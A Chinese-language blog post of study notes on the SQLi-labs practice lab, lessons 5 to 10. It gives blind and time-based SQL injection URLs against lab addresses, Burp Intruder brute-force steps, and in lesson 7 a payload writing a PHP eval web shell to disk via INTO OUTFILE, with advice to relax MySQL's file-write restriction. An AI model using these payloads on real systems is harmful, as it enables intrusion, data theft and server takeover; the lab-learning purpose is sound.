SQLI-LABS学习笔记(二)

逼话少说,如有错误,烦请指出,谢谢

这两天生病,效率很低

第5关

 

打开页面

 

 

 

 

 

 

发现跟前几题不同,没有直接返回数据.。

 

加个单引号

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

报错信息发现已经被闭合了,那我们就order by 试一下看看

 

 

 

 

发现能有成功查询会返回 You are in ,而不会返回查询的数据,这题是一题盲注题

 

盲注就需要我们一个一个的猜字符了,

 

先构造注入语句

 

http://10.2.10.31/sqli/Less-5/?id=1' and ascii(substr(database(),1,1)) > 10 --+

 

函数不懂的话可以使用搜索引擎查询

 

原理就是,获取当前的数据库的第一个字符,由于我们之前做了前几题,知道是s

 

所以我们直接用s来试,节约时间。

 

 

 

 

 

发现回显正常,换一个字符就没回显了,就说明s是第一个字符,以此类推获得整个数据库名。

 

再之后可以查询数据库中表的名称,方法也是一样,我贴一条

 

http://10.2.10.31/sqli/Less-5/?id=1' and substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1) = 'e' --+

 

这样推,就可以把这题做出来。

 

当然,这样是最慢的方法,但是还是要掌握的。

 

我们可以使用bp的爆破模块来进行爆破。

 

首先先抓到我们需要的包

 

 

 

 

 

我这里就抓查询表的包了,之后把抓到的包发到爆破模块,intruder里面。

 

 

 

 

由于里面会默认选择爆破的信息,我们需要先点击clear。

 

选中要爆破的字符

 

 

 

 

 

再到payloads里面设置一下字典,这里我们可以选择他自带的字典。

 

并且修改字符最大值为1,最小值也为1

 

 

 

 

然后再到options里面设置一下线程。

 

 

 

 

最后点击start attack 就可以开始了

 

 

 

 

以此类推。

 

第五关结束。

 

第六关

 

第六关就是把单引号换成双引号,其他的都一样,没区别

 

第六关结束

 

第七关

 

 

测试注入

 

http://10.2.10.35/sqli/Less-7/?id=1'

 

 

 

 

报错,说明可能存在sql注入

 

继续测试,

 

 

 

 

 

当用1=2判断的时候,发现回显正常

 

最后测试,发现用http://10.2.10.35/sqli/Less-7/?id=1')) 可以成功闭合

 

之后提示要用outfile来写入文件

 

可以用第一关来帮助我们找到网站的绝对路径

 

@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径

 

http://10.2.10.35/sqli/Less-1/?id=-1' union select 1,2,@@basedir --+

 

 

 

 

构造语句如下

 

http://10.2.10.35/sqli/Less-7/?id=-1')) union select 1,'<?php @eval($_POST[value]);?>',3 into outfile 'D:/phpStudy/PHPTutorial/WWW/sqli/Less-7/d.php' --+

 

遇到写入不了的情况应该是mysq没有设置好

 

可以在mysql的命令行查看一下secure-file-priv当前的值

 

show variables like ‘%secure%’;

 

如果为Null

 

这则需要打开mysql下的my.ini文件,在其中添加上  secure_file_priv=”/”

 

之后使用菜刀就可以连接了。

 

第七关结束

 

 

第八关

 

 

测试注入点

 

http://10.2.10.35/sqli/Less-8/?id=1'

 

发现无回显

 

http://10.2.10.35/sqli/Less-8/?id=1' --+

 

有回显

 

说明我们已经成功闭合了

 

就可以按照之前盲注的思路,接着注入就能得到答案

 

还有一种方法是通过if判断,利用sleep进行时间盲注

 

构造语句如下

 

http://10.2.10.35/sqli/Less-8/?id=1' and if(length(database())>10,1,sleep(5))  --+

 

先判断长度,再用substr函数来判断每一位是什么,这里就不再赘述

 

第八关结束

 

第九关

 

换了一种方式

 

http://10.2.10.35/sqli/Less-9/?id=1' and sleep(5) --+

 

利用sleep判断是否执行了我们的sql语句

 

发现成功以后,还是按照之前的方法继续盲注,方法都一样

 

第九关结束

 

第十关

 

第十关就是把单引号换成了双引号,其他的都一样

 

第十关结束

 

posted @ 2019-09-05 20:26  浮云饭  阅读(519)  评论(0编辑  收藏  举报